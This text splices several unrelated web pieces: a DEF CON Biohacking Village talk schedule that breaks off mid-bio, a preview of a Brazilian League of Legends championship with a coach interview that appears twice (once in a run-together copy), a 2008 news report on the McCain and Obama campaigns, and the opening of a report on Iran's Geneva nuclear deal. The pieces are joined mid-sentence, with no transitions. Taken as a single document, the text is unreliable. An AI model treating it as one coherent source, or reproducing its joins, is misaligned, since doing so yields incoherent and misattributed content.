13:30 : Implants: Show and Tell Speaker: c00p3r
About c00p3r:
c00p3r is the founder of dangerousminds.io a biohacking. grinding, implantable tech, and network security podcast that started in late sept 2016, a sysadmin that lives open source solutions by trade, and also pr director and member of the board of directors for prophase biostudios located in austin texas.
Abstract:
Through sharing experiences learned first hand and through work on the Dangerous Minds Podcast, c00p3r will be introducing you to implantable technology, explaining the basic products that are available on the market now, from where, as well as provide a show and tell experience of what it is like to become one of the augmentives. Come to learn, and stay to laugh and become a part of this new world of cyborgs.
14:00 : Sensory Augmentation 101 Speaker: Trevor Goodman
About Trevor Goodman:
Trevor Goodman is a bodyhacker and the Event Director for BDYHAX, the BodyHacking Convention. They are working to grow the bodyhacking and biohacking industries and communities in the US, Canada and Europe. Trevor is also the Event Director for InfoSec Southwest in Austin, TX and Director of Rogue Signal.
Abstract:
Everything you know about your environment mediated by your senses. Likely, you can see in a range of colors, hear a car horn honking, and feel the roughness of sandpaper, but light exists in bands too narrow or wide to be processed by your eyes, some sounds are too high or low to be recognized by your ears, and magnetic fields pulse around you all day. Most of us hardly notice. Dr. Paul Bach-y-Rita’s research in the 60’s eventually lead to The BrainPort which lets a user see through an electrode grid on your tongue, but sensory augmentation has stayed mostly within the realm of the medical field until recently. Now there are magnets in fingertips all over the place, Neil Harbisson can hear in colors in a wider range than you can see and companies like NeoSensory and Cyborg Nest are building even more devices that let you sense more or differently. We’ll talk through the basics of how your senses work in conjunction with your brain, about many of the great projects that help have helped individuals augment their senses, and why a vibrating North-sensing device mounted to your chest is different than a compass.
14:30 : Health as a service... Speakers: Julian Dana About Julian:
Julian is a Security Consultant with more than 20 years of experience. He has experience in hands-on security testing and also teaching different technical security trainings. Julian, as a frustrated doctor, was always passionate and curious about the human body.
Abstract:
The software as a service (SaaS) model is same model that we are using for our health...Unbelievable: We are treating symptoms and not curing diseases...
15:00 : Computational Chemistry on a Budget Speakers: Mr. Br!ml3y About Mr. Br!ml3y:
Mr_Br!ml3y is a DefCon Biohacking Village regular who is currently working on a PhD. from a research university in the Midwest. He also works in public sector network security to keep the lights on. His current research focuses on developing 3D computer models for contaminent transport in groundwater, with special emphasis on ionic contaminants (alkali metals and earths, halides). He has been exploring computational chemistry and nanochemistry to help with model development and bioinformatics as a side interest.
Abstract:
Determining effectiveness and fit of chemical compounds for human medical and health is a time-consuming and expensive process. One method for reducing time and expense is the use of computational chemistry to model compound-receptor binding, which helps rule out unpromising or suboptimal compounds. This presentation explores the fundamentals of computational chemistry for various applications and open-source programs available for use. Ab initio molecular modeling, molecular docking, and bioinformatics programs are discussed.
15:30 : Trigraph: An Ethereum-based Teleradiology Application Speakers: Ryan Schmoll and Peter Hefley About Ryan and Peter:
Ryan and Peter can each say that they were the world’s third largest nuclear power at some point in their life. They enjoy short walks along beaches lined with broken glass and broken dreams. They share experience keeping the world safe through “deterrence” and watching DirecTV for extended periods of time, well below ground, in America’s heartland. Subsequently, Peter pursued a life in penetration testing while Ryan made poor life decisions and is (still) studying to be a physician. With their blended experience in security, medicine, and an altruism that can only be gained by holding millions of lives at risk in support of vague and ever changing national security objectives, this duo is seeking to create a collaborative medical experience for patients and physicians that shatters the current paradigm.
Abstract:
Teleradiology is an $8 billion dollar a year industry and we are going to disrupt it. Medical records are critical infrastructure, and with an increasing emphasis on real-time interpretations of medical imagery to improve healthcare outcomes in emergency situations, it is imperative the systems that enable medical collaboration are secure and reliable. Here we present an Ethereum-based application that allows anyone who needs help interpreting an image to reach out to a radiologist anywhere in the world, securely, privately, without a third party intermediary, and for a lower price than existing teleradiology firms.
16:00 : Blockchain's Role in the Disruption of the Medical Industry Speakers: John Bass About John:
John Bass is the Founder and CEO of Hashed Health, a healthcare technology innovation company focused on accelerating the realization of blockchain and distributed ledger technologies. John has over 20 years of experience in healthcare technology with expertise in collaborative platforms, patient engagement, systems integration, supply chain, clinical performance and value-based payments.
Prior to Hashed Health, John was CEO at InVivoLink, a surgical patient registry and care management start-up, acquired by HCA in 2015. John’s experience also includes healthcare B2B startup empactHealth.com which was acquired by Medibuy / Global Healthcare Exchange. John is a native of Nashville and has a Chemistry degree from the University of North Carolina, Chapel Hill.
Abstract:
Over the next ten years, blockchain and distributed ledger technologies will fundamentally change the delivery of care around the globe. The blockchain provides a technical framework where trust is moved from central controlling intermediaries to the open source protocol, freeing data and assets from the control of traditional corporate interests. The great hope is that this evolution will result in the empowerment of consumers, communities, and markets centered on sustainable wellness and environments of health. The coming years represent a unique opportunity to make sure blockchain-based global health initiatives are structured in a way that re-constructs our broken system in a way that improves the lives of individuals and the communities in which they live.
16:30 : Neurogenic Peptides: Smart Drugs 4-Minute Mile Speakers: Gingerbread About Gingerbread:
Long-time Security malcontent Gingerbread, having been eliminated early on in this years "Pop-and-Lock Potluck", (the nations *premier* overweight break dancing competition) has returned to DEF CON with even more of his half-baked theories, bro-science, and questionable supply chain advice for your enjoyment. Early adopter of the "Not for human consumption" defense, Gingerbread has spent years conducting extensive research in the areas of cognition enhancing drugs and lifestyle regimens and in the process has become a walking encyclopedia of things NOT to do.
Abstract:
Everything is impossible until it isn't.
Every undertaking, defined by the hard limitations at the edges of our possible achievement.
Lossless electrical conductivity, human travel beyond the sound 'barrier', running a four-minute mile...each, seen as some unassailable foe until, one-by-one, these milestones were not just approached and then attained, but very often surpassed. With time, these limits transition from the superlative, to the standard, and what once was thought of as impossible, now becomes the benchmark of superior performance.
The world of cognition enhancing drugs is no different.
For nearly as long as such structures have been differentiated, the cells of the brain and nervous system have been acknowledged to behave very differently than most of the others in the body.
Unlike the perpetual turn over that the rest of the body enjoys, there are only a few restricted areas in the brain and CNS of adult humans where new nerve cells are being regularly created. What you are born with, is what you have to work with.
Or is it?
Reliably producing productive structural, as opposed to solely chemical changes to the brain has long been seen as the 'Holy Grail' of Nootropics research..I am here today to discuss why the term "Four-minute mile" may be a bit more appropriate.
From the explosions of growth created in early childhood and in some illnesses, to the seemingly paradoxical benefits seen with the removal of malfunctioning structures, we are going to examine the sometimes baffling relationship between cognition and the physical structure of the brain, and how maybe, just maybe, there might be something you can do about it.
17:00 : Creating Human 2.0: Three Case Studies from the Edges of Brain Rewiring Science Speakers: David Bach About David:
David Bach, MD
Founder and President, Platypus Institute
A Harvard-trained scientist, physician, and serial entrepreneur, Dr. Bach is the Founder and President of the Platypus Institute, an applied neuroscience research organization whose mission is to translate cutting-edge neuroscience discoveries into practical tools and programs that radically enhance the human experience. As an entrepreneur, Dr. Bach founded and built three healthcare technology companies, each of which became a $100M enterprise. He has also been a management consultant, a venture capitalist, a competitive martial artist and a professional cellist. He is also an avid biohacker.
Abstract:
During the past decade, a confluence of scientific breakthroughs in neuroimaging, biotechnology, cybernetics, sensor technology and data analytics have created a new tool in the self-improvement arsenal. Today, for the first time in history, we can “rewire” the human brain in highly targeted ways that dramatically enhance cognition, perception, creative ability, learning speeds and health. During this session, building largely on work from DARPA, we will explore emerging technologies you can use today to dramatically enhance your brain and your cognitive abilities. We will also take a look into the future of neurotech – and how it is going to fundamentally disrupt what it means to be human.
17:30 : Human-Human Interface Speakers: Charles Tritt About Charles:
Dr. Charles Tritt is a has been a professor of biomedical engineering for over 25 years. His academic credentials include a Ph.D. in chemical engineering and an M.S. in biomedical engineering. His teaching has ranged from introductory cell biology and genetics to biomedical mechatronics. Over the past several years, he has become interested in exploring the potential of hobbyist grade equipment as a vehicle to low cost and accessible medical devices and the corresponding ethical and legal implications.
Abstract:
In this demonstration, readily available and inexpensive (about $100 total cost) equipment will be used to relay conscious motor activity from one human subject to another. Specifically, transcutaneous electrodes and a bio-amplifier will be used to produce an electromyogram (EMG) signal from the lower arm of the controlling subject. This signal will be digitized and processed using an embedded microcontroller evaluation board (an Arduino UNO could also be used) which in turn will activate a relay to apply transcutaneous electrical nerve stimulation to the ulnar nerve of the controlled subject. Motions of the controlled subject’s fingers will involuntarily replicate those of the controlling subject.
18:00 : tDCS workshop Speakers: Darren and Jen About Darren and Jen:
Jennifer has been an information security professional for the past 20 years and is currently a Security Intelligence Analyst. Her experience includes reverse engineering malware, penetration testing, vulnerability analysis, and incident response. Jennifer studied biology and psychology and focused her studies on neurology. Her passion for brain science, coupled with computer science, has been a driving factor in her interest in the technological singularity and human/machine integration. In her free time she runs a robotics club for kids and is learning to play the ukulele. She is an avid fan of the Detroit Tigers, William Shakespeare |
Bo5.
Friday 7/19 (Times in GMT -3)
10:30 – Keyd BenQ vs RMA Ozone
12:00 – CNB HyperX vs PaiN Gaming
13:30 – PeesPlay EVGA vs Nex Impetus
15:00 – Playart vs ActioN BlooDy
16:30 – RMA Ozone vs PeesPlay EVGA
18:00 – PaiN Gaming vs Playart
19:30 – Keyd BenQ vs Nex Impetus
Saturday 7/20
10:30 – CNB HyperX vs ActioN BlooDy
12:00 – Keyd BenQ vs PeesPlay EVGA / RMA Ozone vs Nex Impetus
13:30 – PaiN Gaming vs Action / CNB HyperX vs Playart
14:30 – Cosplay
16:30 – Semifinal 1: Group A #1 vs Group B #2
Sunday 7/21
10:30 – Semifinal 2: Group B #1 vs Group A #2
15:00 – Grand Finals
Storylines
Keyd: On the hot streak
Keyd has had the best results in recent history, winning 2 of the 4 CBR qualifers. They also recently acquired a new ADC, Haelz. He’s hyped up to be the aggressive new talent, fresh from the top of solo queue. Will Haelz be the WildTurtle of Keyd?
paiN: The people’s team
Continuing with NA analogies, paiN is like the TSM of Brazil. They are the first to establish a permanent gaming house in Brazil, and Kami and brTT are like the Dyrus and TheOddOne for Brazilian streams. Will the fan favorites succeed?
CNB: Looking for redemption
Although they are the second seed coming into CBR, their play has been very lackluster lately. Many won’t hesitate to put them behind paiN and Keyd in the Brazilian top 3. Consequently, CNB has been bootcamping hardcore 12 hours a day for the past 2 weeks. Will they make a resurgence when it matters the most?
PeesPlay and RMA: Tired of being 4th
The Brazilian League of Legends scene is more or less separated into The Top 3 and The Rest. PeesPlay (formerly AceZone) and RMA have always been at the top of The Rest, but never consistently good enough to break into The Top 3. Is this their time to shine?
The Wild Cards
Nex Impetus had 9 roster changes in 2 months and has only recently solidified their lineup for CBR. Action used to be a DotA team and is confident that their DotA experience is an advantage. playArt has the backing of an established e-sports organization and a captain with a lot of competitive experience. Will one of these three teams surprise us all?
Interview with Coach Philip
Awww what a cute team. Philip is in the center.
Feng "caelym" Wu: Hi Philip. Firstly, I want to thank you for taking your time to do this interview. I know you're really busy with training right now. Can you start off by introducing yourself? What's your full name? What is your life like outside of e-sports? And how did you get introduced to the competitive scene?
Renan Philip : Oh it’s not a problem at all. Thank you for the opportunity my friend! Well, my name is Renan Philip, and I'm a law student at FAE Centro Universitário in Curitiba/PR - Brazil. I've started with e-sports by managing a team of some friends of mine (vTi Nox, who placed 2nd place at the Season 2 Brazilian Championship) when they needed a new manager and called me. I was already an e-sports passionate, but from that moment on, I just knew that this was going to be part of my life until it was over.
Feng "caelym" Wu: From humble beginnings, you are now the head coach of the top Brazilian team CNB e-Sports Club. For those of us who are unfamiliar with what a coach does, you can give a brief explanation of what you do? Is it a stressful job being part of a top organization and team?
Renan Philip : The role of a coach is being more and more recognized as well as valued in our western world, but briefly I do almost the same as other sports coaches do: organizing team practices and managing the relationship between the 5 players. I myself also perform the analyst role: taking notes of everything we play, how we do it, and what we did wrong, as well as watching tournaments from all over the world such as OGN, LPL and the LCS and trying to adapt or learn things from them.
It is a lot of stress, but the feeling that you get by being in such team is surely bigger than the stress. There's no emotion better than watching a crowd shout out your team’s name, or even better watch the crowd shout out your country's name because of something your team did (
Feng "caelym" Wu: Now let's talk about Campeonato Brasileiro (also referred to as CBR and Brazilian Championship) that is happening this weekend. The venue is spectacular, the prize pool is large, and probably most importantly, the winner gets to go to Gamescom to compete for a spot at Season 3 World Championship. Would you agree with me that this is the biggest Brazilian League of Legends event to date? What are your feelings and goals going into this event?
Renan Philip : I completely agree. This is the biggest Brazilian e-sports tournament up to date. Even in the glorious Counter Strike times there was never such a big Brazilian-only tournament (just to note: CPL 2005 distributed $70k in prize pool, but it was an international event). And obviously this is the biggest LoL event as well.
Being completely honest, I'm fully confident in my team and our whole preparation going towards this tournament. We've practiced a lot, we've worked a lot, we've studied a lot, we lived and breathed this game. We really want to be the #1 team in Brazil.
Feng "caelym" Wu: You talked about how much CNB spent preparing and training for this event. I know your team did a bootcamp for 2 weeks. Can you go over how you trained at bootcamp? Did you do anything different from your normal practice? And how much better do you think CNB is after bootcamp?
Renan Philip : We've had a daily schedule that basically consisted of only going to the gym in the morning, then having lunch together, then going to the bootcamp (which our organization called War Room) and practicing and watching our own replays and watching other tournaments and theorycrafting for about 12 hours with some pauses to eat in between the activities.
We've practiced a lot more in every single aspect, from amount to quality, and the fact that we were living together and focusing on nothing but the game also helps a real lot. We're definitely a lot stronger right now after the bootcamp. A lot of silly mistakes that we couldn't see before were corrected, and we've also implemented a lot of new strategies based on some great teams from other regions.
Feng "caelym" Wu: Let's talk about the competitors in more detail. Group A has Keyd, RMA, PeesPlay, Nex Impetus. Group B has paiN, CNB, PlayArt, Action. I think the general community consensus is that CNB, Keyd, and paiN are the top 3 BR teams. How good are the less popular teams? Who are you most looking forward to facing in group stage and then the bracket stage?
Renan Philip : The other less popular teams are certainly good, but not quite in the same level as the top 3 I'd say. I'm looking forward to our first game that will be against paiN, as well as any one of the playoffs games, but the bo5 finals will certainly be special.
Obviously we're not taking the other games as guaranteed wins. We've studied every single team that will be going to the tournament and will be prepared for them as well.
Feng "caelym" Wu: Who do you think you will face in the finals?
Renan Philip : I’m not sure. Either Keyd or paiN since this will be the other semi-final.
Feng “caelym” Wu: Would you rather face Keyd or paiN?
Renan Philip : You're killing me Feng!! haha. I really wouldn't like to choose an opponent. I'd say whoever is the best in their semi-final, but if I had to pick one it is Keyd.
Feng "caelym" Wu: Arguably, the most important prize of the tournament is a chance to qualify for Worlds at the International Wildcard Qualifier at Gamescom. Earlier you said that you looked at other regions for strategies. necrosed, coach of paiN, in the past posted on Teamliquid that he thinks paiN can place top 3 in NA LCS. How do you think Brazil compares to the established regions (NA, EU, KR, CN, SEA)? How do you think Brazil will fare against other new regions (Latin Am, Russian, Turkey, Oceania) at Gamescom?
Renan Philip : I think the Brazilian top 3 are at least capable of getting into the LCS and playing well there. I can't say that for sure because the last time a Brazilian team went to an international event was IEM Hanover where paiN got only one win over Millennium, but they got some pretty good games against Gambit and Fnatic. It was some time ago and before all the additional experience from competing in the LCS for the teams.
Against the other new regions I think we will fare pretty well, as they don't have as much experience as we do as well as structure (7 out of 8 BR teams got a bootcamp/gaming house for the S3 Brazilian championship; some of them will just stay on the gaming house even after the tournament).
Feng "caelym" Wu: A lot of western viewers are not familiar with the Brazilian scene. Can you tell us what the superstar players to watch are? What unique Brazilian champions, tactics, and strategies should we keep an eye out for?
Renan Philip : Every one of the 15 players from the top 3 teams are considered above the line here, even the newcomers such as paiN's Venon and Keyd's Haelz are getting their recognition. But to name each team’s best players, I'd say
We are really adaptive, and every team have dedicated coaches such as me, so expect some pretty good adaptations and changes in between games on the bo3s and bo5. Also, right now the Brazilian scene is really based a lot on the OGN, at least when it comes to which champion is prioritized, so expect our picks and bans ratios to be quite like OGN's.
One champion that Brazilian teams play on a regular basis and that most teams don’t (I can't remember any other than FXO and one single Korean team) play is Rengar. At least in the last LAN tournament (BGL Arena), Rengar had a pretty high pick ratio. But I can't go further than that, because if I do I could be just giving out my team’s information or even some analysis that I've done which other teams haven't.
Feng "caelym" Wu: I want to wind down this interview with some talk about the growth of League of Legends in Brazil. Last year, CBR’s total prize pool (including qualifiers) was $80k, and the event was inside another (BGS, Brazil Game Show). This year the total prize pool is $100k, and the venue is dedicated to CBR. What happened in Brazil e-sports in the past year? You mentioned earlier that this year's CBR is equal to CPL of the glorious Counter Strike days. What do you hope to see in the future? Brazilian LCS maybe?
Renan Philip : League of Legends itself, as well as a lot of the other competitive games have grown tremendously here and that makes e-sports as a whole grow a lot bigger. Other FPS games are having Brazilian championships, and the Brazil Gaming League and its structure have also helped out a lot. IEM São Paulo happened with great success. We've came from a 15k viewer S2 Brazilian Championship to gradually going up higher and higher until BGL Arena had 60k viewers, among other things.
By the way things are going, with teams getting bootcamps and gaming houses, more stable rosters and dedicated players, and the viewership going up higher and only second to the actual LCS, as well as already getting more attention than other global e-sports, I can only look forward to a Brazilian LCS in 2014.
One of the things that our community manager Bruno Vasone said earlier this year when questioned about a Brazilian LCS was that teams weren't sufficiently stable or even dedicated. I could agree with him then, but right now we've proved it wrong so...
And talking on the glory days, most people don't know that Brazil have a pretty big background in e-sports from Counter Strike, where we used to be at the real top tier scene. In Korea, League of Legends is getting recognized as the new Broodwar; in Brazil, it is getting recognized as the new Counter Strike.
Feng "caelym" Wu: Damn, that was beautiful. Muito obrigado, Philip! Thank you so much for taking time from your busy schedule to talk to me about the exciting and fast growing Brazilian League of Legends scene. I hope your insightful answers will attract english-speaking fans to follow the BR scene and tune in to Campeonato Brasileiro this weekend. Do you have any final words for your soon-to-be fans and the western community?
Renan Philip : Thank you as well Feng for the great opportunity of talking to such an important community that Teamliquid is. I hope what I said helps the Brazilian scene get some more recognition or even get the chance to be watched by some of you League of Legends passionates.
I'd also like to thank everyone that has read through this whole interview. Even though the questions Feng made were awesome, my boringness may have been tough to beat. Thank everyone who will be watching the Brazilian Championship this weekend, I hope you guys like the games and get to know our scene better!
Lastly I'd like to send huge thanks to CNB’s sponsors: Kingston HyperX, X5 Computadores, Massa Leve and mouses.com.br.
You can follow Philip at
I had the absolute pleasure of talking to my good friend Philip about his role of head coach of CNB e-Sports Club, the preparation for Campeonato Brasileiro, and all things e-sports. He gives a lot of insight into the growing Brazilian scene. I thought his responses were so good that I had a hard time deciding if I should have made a separate thread. If there's anything you read on this page, read this interview.: Hi Philip. Firstly, I want to thank you for taking your time to do this interview. I know you're really busy with training right now. Can you start off by introducing yourself? What's your full name? What is your life like outside of e-sports? And how did you get introduced to the competitive scene?: Oh it’s not a problem at all. Thank you for the opportunity my friend! Well, my name is Renan Philip, and I'm a law student at FAE Centro Universitário in Curitiba/PR - Brazil. I've started with e-sports by managing a team of some friends of mine (vTi Nox, who placed 2nd place at the Season 2 Brazilian Championship) when they needed a new manager and called me. I was already an e-sports passionate, but from that moment on, I just knew that this was going to be part of my life until it was over.: From humble beginnings, you are now the head coach of the top Brazilian team CNB e-Sports Club. For those of us who are unfamiliar with what a coach does, you can give a brief explanation of what you do? Is it a stressful job being part of a top organization and team?: The role of a coach is being more and more recognized as well as valued in our western world, but briefly I do almost the same as other sports coaches do: organizing team practices and managing the relationship between the 5 players. I myself also perform the analyst role: taking notes of everything we play, how we do it, and what we did wrong, as well as watching tournaments from all over the world such as OGN, LPL and the LCS and trying to adapt or learn things from them.It is a lot of stress, but the feeling that you get by being in such team is surely bigger than the stress. There's no emotion better than watching a crowd shout out your team’s name, or even better watch the crowd shout out your country's name because of something your team did ( at IEM São Paulo when I was still Keyd's coach ).: Now let's talk about Campeonato Brasileiro (also referred to as CBR and Brazilian Championship) that is happening this weekend. The venue is spectacular, the prize pool is large, and probably most importantly, the winner gets to go to Gamescom to compete for a spot at Season 3 World Championship. Would you agree with me that this is the biggest Brazilian League of Legends event to date? What are your feelings and goals going into this event?: I completely agree. This is the biggest Brazilian e-sports tournament up to date. Even in the glorious Counter Strike times there was never such a big Brazilian-only tournament (just to note: CPL 2005 distributed $70k in prize pool, but it was an international event). And obviously this is the biggest LoL event as well.Being completely honest, I'm fully confident in my team and our whole preparation going towards this tournament. We've practiced a lot, we've worked a lot, we've studied a lot, we lived and breathed this game. We really want to be the #1 team in Brazil.: You talked about how much CNB spent preparing and training for this event. I know your team did a bootcamp for 2 weeks. Can you go over how you trained at bootcamp? Did you do anything different from your normal practice? And how much better do you think CNB is after bootcamp?: We've had a daily schedule that basically consisted of only going to the gym in the morning, then having lunch together, then going to the bootcamp (which our organization called War Room) and practicing and watching our own replays and watching other tournaments and theorycrafting for about 12 hours with some pauses to eat in between the activities.We've practiced a lot more in every single aspect, from amount to quality, and the fact that we were living together and focusing on nothing but the game also helps a real lot. We're definitely a lot stronger right now after the bootcamp. A lot of silly mistakes that we couldn't see before were corrected, and we've also implemented a lot of new strategies based on some great teams from other regions.: Let's talk about the competitors in more detail. Group A has Keyd, RMA, PeesPlay, Nex Impetus. Group B has paiN, CNB, PlayArt, Action. I think the general community consensus is that CNB, Keyd, and paiN are the top 3 BR teams. How good are the less popular teams? Who are you most looking forward to facing in group stage and then the bracket stage?: The other less popular teams are certainly good, but not quite in the same level as the top 3 I'd say. I'm looking forward to our first game that will be against paiN, as well as any one of the playoffs games, but the bo5 finals will certainly be special.Obviously we're not taking the other games as guaranteed wins. We've studied every single team that will be going to the tournament and will be prepared for them as well.: Who do you think you will face in the finals?: I’m not sure. Either Keyd or paiN since this will be the other semi-final.: Would you rather face Keyd or paiN?: You're killing me Feng!! haha. I really wouldn't like to choose an opponent. I'd say whoever is the best in their semi-final, but if I had to pick one it is Keyd.: Arguably, the most important prize of the tournament is a chance to qualify for Worlds at the International Wildcard Qualifier at Gamescom. Earlier you said that you looked at other regions for strategies. necrosed, coach of paiN, in the past posted on Teamliquid that he thinks paiN can place top 3 in NA LCS. How do you think Brazil compares to the established regions (NA, EU, KR, CN, SEA)? How do you think Brazil will fare against other new regions (Latin Am, Russian, Turkey, Oceania) at Gamescom?: I think the Brazilian top 3 are at least capable of getting into the LCS and playing well there. I can't say that for sure because the last time a Brazilian team went to an international event was IEM Hanover where paiN got only one win over Millennium, but they got some pretty good games against Gambit and Fnatic. It was some time ago and before all the additional experience from competing in the LCS for the teams.Against the other new regions I think we will fare pretty well, as they don't have as much experience as we do as well as structure (7 out of 8 BR teams got a bootcamp/gaming house for the S3 Brazilian championship; some of them will just stay on the gaming house even after the tournament).: A lot of western viewers are not familiar with the Brazilian scene. Can you tell us what the superstar players to watch are? What unique Brazilian champions, tactics, and strategies should we keep an eye out for?: Every one of the 15 players from the top 3 teams are considered above the line here, even the newcomers such as paiN's Venon and Keyd's Haelz are getting their recognition. But to name each team’s best players, I'd say CNB's takeshi paiN's Kami, and Keyd's Snowlz are quite well above the line and probably can be on par with every single western midlaners if not with some other asian ones.We are really adaptive, and every team have dedicated coaches such as me, so expect some pretty good adaptations and changes in between games on the bo3s and bo5. Also, right now the Brazilian scene is really based a lot on the OGN, at least when it comes to which champion is prioritized, so expect our picks and bans ratios to be quite like OGN's.One champion that Brazilian teams play on a regular basis and that most teams don’t (I can't remember any other than FXO and one single Korean team) play is Rengar. At least in the last LAN tournament (BGL Arena), Rengar had a pretty high pick ratio. But I can't go further than that, because if I do I could be just giving out my team’s information or even some analysis that I've done which other teams haven't.: I want to wind down this interview with some talk about the growth of League of Legends in Brazil. Last year, CBR’s total prize pool (including qualifiers) was $80k, and the event was inside another (BGS, Brazil Game Show). This year the total prize pool is $100k, and the venue is dedicated to CBR. What happened in Brazil e-sports in the past year? You mentioned earlier that this year's CBR is equal to CPL of the glorious Counter Strike days. What do you hope to see in the future? Brazilian LCS maybe?: League of Legends itself, as well as a lot of the other competitive games have grown tremendously here and that makes e-sports as a whole grow a lot bigger. Other FPS games are having Brazilian championships, and the Brazil Gaming League and its structure have also helped out a lot. IEM São Paulo happened with great success. We've came from a 15k viewer S2 Brazilian Championship to gradually going up higher and higher until BGL Arena had 60k viewers, among other things.By the way things are going, with teams getting bootcamps and gaming houses, more stable rosters and dedicated players, and the viewership going up higher and only second to the actual LCS, as well as already getting more attention than other global e-sports, I can only look forward to a Brazilian LCS in 2014.One of the things that our community manager Bruno Vasone said earlier this year when questioned about a Brazilian LCS was that teams weren't sufficiently stable or even dedicated. I could agree with him then, but right now we've proved it wrong so...And talking on the glory days, most people don't know that Brazil have a pretty big background in e-sports from Counter Strike, where we used to be at the real top tier scene. In Korea, League of Legends is getting recognized as the new Broodwar; in Brazil, it is getting recognized as the new Counter Strike.: Damn, that was beautiful. Muito obrigado, Philip! Thank you so much for taking time from your busy schedule to talk to me about the exciting and fast growing Brazilian League of Legends scene. I hope your insightful answers will attract english-speaking fans to follow the BR scene and tune in to Campeonato Brasileiro this weekend. Do you have any final words for your soon-to-be fans and the western community?: Thank you as well Feng for the great opportunity of talking to such an important community that Teamliquid is. I hope what I said helps the Brazilian scene get some more recognition or even get the chance to be watched by some of you League of Legends passionates.I'd also like to thank everyone that has read through this whole interview. Even though the questions Feng made were awesome, my boringness may have been tough to beat. Thank everyone who will be watching the Brazilian Championship this weekend, I hope you guys like the games and get to know our scene better!Lastly I'd like to send huge thanks to CNB’s sponsors: Kingston HyperX, X5 Computadores, Massa Leve and mouses.com.br.You can follow Philip at http://www.facebook.com/philipcoach and CNB e-Sports Club at http://www.facebook.com/CNB.eSc
Closing Remarks
Mark my words: Brazil is the next big League of Legends region. The scene is growing fast, and they are hungry for more. It often goes unnoticed because the scene is somewhat insular due to the language barrier, but the viewership numbers reveal the real truth.
The infrastructure in Brazilian League of Legends is also surprisingly well developed for a new region. Seven of the eight teams competing in CBR were in bootcamps or gaming houses. Most of the teams have a dedicated coaching staff. It would not be an exaggeration to say that Brazilian teams prepared harder for this tournament than North American teams did for Season 2 Regionals.
Campeonato Brasileiro provides Brazil an opportunity to be scrutinized once again by the international audience, and it’s their time to show how far they came. Some coaches already feel that the level of play is up to par with LCS; now they have to make us believe.
I have to end with this obligatory and timeless video from IEM Sao Paulo. Hue.
Sources
+ Show Spoiler +
https://www.facebook.com/CNB.eSc
http://www.youtube.com/watch?v=K_A0pSG2V-c
http://www.cblol.com.br/about/
http://www.cblol.com.br/matches/
http://br.leagueoflegends.com/pt-br/news/est%C3%A1-no-ar-o-site-do-campeonato-brasileiro
http://br.leagueoflegends.com/pt-br/news/campeonato-brasileiro-muito-al%C3%A9m-da-competi%C3%A7%C3%A3o
http://farm6.staticflickr.com/5054/5400404037_d00b5c28c3_z.jpg
http://cdn.precioyviajes.com/00/13/88/00138840_gp.jpg
http://mycnb.com.br/riot-revela-data-do-campeonato-brasileiro-de-league-of-legends/
http://mycnb.com.br/riot-define-narradores-do-cbr-de-league-of-legends/
http://mycnb.com.br/riot-divulga-programacao-do-cbr/
http://mycnb.com.br/ingressos-para-o-cbr-custarao-r-2000/
http://mycnb.com.br/diretores-da-riot-elogiam-equipes-brasileiras/
http://mycnb.com.br/pre-cbr-entrevista-com-digolera-do-nex-impetus/
http://mycnb.com.br/pre-cbr-entrevista-com-z1riguidun-do-action/
http://mycnb.com.br/pre-cbr-entrevista-com-playart-jow/
http://mycnb.com.br/pre-cbr-entrevista-com-micao-do-peesplay/
http://mycnb.com.br/pre-cbr-entrevista-com-korvac-do-rma/
http://mycnb.com.br/pre-cbr-entrevista-com-loop-do-keyd-team/
Renan Philip
Quick Facts | Overview | Format and Schedule | Storylines | Interview with Coach Philip | Closing Remarks | Sources bnet: caelym#1470 | Twitter: @caelymMcCain 'gives up' on Colorado as Obama calls time-out to visit sick grandmother
John McCain's path to the presidency narrowed further yesterday with reports that he was giving up on Colorado, a day after a campaign blitz in the battleground state by his running mate, Sarah Palin.
The signs of retrenchment for McCain came on a day when Barack Obama was consumed by family concerns. The Democrat is to take a 36-hour break from the campaign tomorrow to visit his seriously ill grandmother in Hawaii.
The first reports that McCain had given up on Colorado were carried by CNN on Monday. "Gone," one adviser said. Other campaign officials, while denying they had given up on the state, told CNN they were lessening their reliance on a win in Colorado to take the White House.
The campaign was also downgrading its chances in Iowa and New Mexico.
The Republicans were hoping to hang on to all three states, which George Bush narrowly won in 2004.
But with McCain's limited resources against the fundraising juggernaut of the Obama campaign, the Republican has had to make tough decisions on which battlefields to defend.
Obama's lead in Colorado is a more modest 5 points, according to the RealClearPolitics poll average. But he has a huge advantage over the Republican in organisation, with 51 field offices in Colorado, compared with a dozen for McCain.
"The McCain campaign, having taken public financing, just can't play everywhere now. They don't have the resources to do that," said Bule Sewell, a former chair of the Colorado Democratic party.
Obama is also outspending McCain by $300,000 (£177,000) a week on advertising.
McCain's hopes of victory rest on holding on to Florida, Virginia, North Carolina, Ohio, Missouri and Nevada - as well as taking Pennsylvania. But Obama is even or ahead of McCain in the first seven states and has a 12-point lead in the last.
Campaign officials yesterday tried to douse speculation McCain was pulling the plug on Colorado, where Democrats believe that the Republican could be swamped at the polls by the enthusiasm among younger voters and Latinos. However, such decisions are usually kept secret. Last month, McCain faced severe criticism for announcing he was pulling out of Michigan, another battleground.
Palin made three campaign stops on Monday in Colorado and McCain is due there on Friday. But the campaign has barely had any advertising presence on radio or television in the state.
"We see the race tightening both internally and in public polling," said Jill Hazelbaker, his national communications director. "We are within striking distance in the key battleground states we need to win."
Michelle Obama will take a turn as the Democratic headliner on Friday, while her husband is in Hawaii. She is to make campaign stops in Akron and Columbus, Ohio. Her husband is cancelling a rally in Iowa and Wisconsin to visit his grandmother.
Obama's absence is unlikely to hurt his campaign. In a campaign of this magnitude and duration, it is not clear how much personal appearances boost a candidate so close to polling day.
Obama could also get a sympathy boost for taking time out to visit his white grandmother, Madleyn Dunham, 85. It allows him to demonstrate a commitment to family. He was largely brought up by her.
His campaign released photographs of a young Obama with Dunham on his graduation from high school.Iran’s nuclear negotiators received a hero's welcome at home after sealing a breakthrough deal in Geneva, their convoy mobbed by hundreds of jubilant Iranians waving flowers and flags – the first images of popular support that will be used to sell the deal at home.
Despite some sniping from hardliners that Iran gave away too much for too little in Geneva, for most Iranians the deal brings a sense of relief and joy at the prospect of an improved economy and changing relationship with the outside world.
The six-month deal, reached in the early hours Sunday, halts the advance of Iran’s nuclear program in exchange for a partial lifting of sanctions as the first step to a comprehensive final agreement.
In Tehran, Foreign Minister Mohammad Javad Zarif was praised as an “ambassador of peace” for tireless efforts during three rounds of Geneva negotiations with world powers since October. Chants rang out, “No to war, sanctions, surrender and insult,” the AP reported.
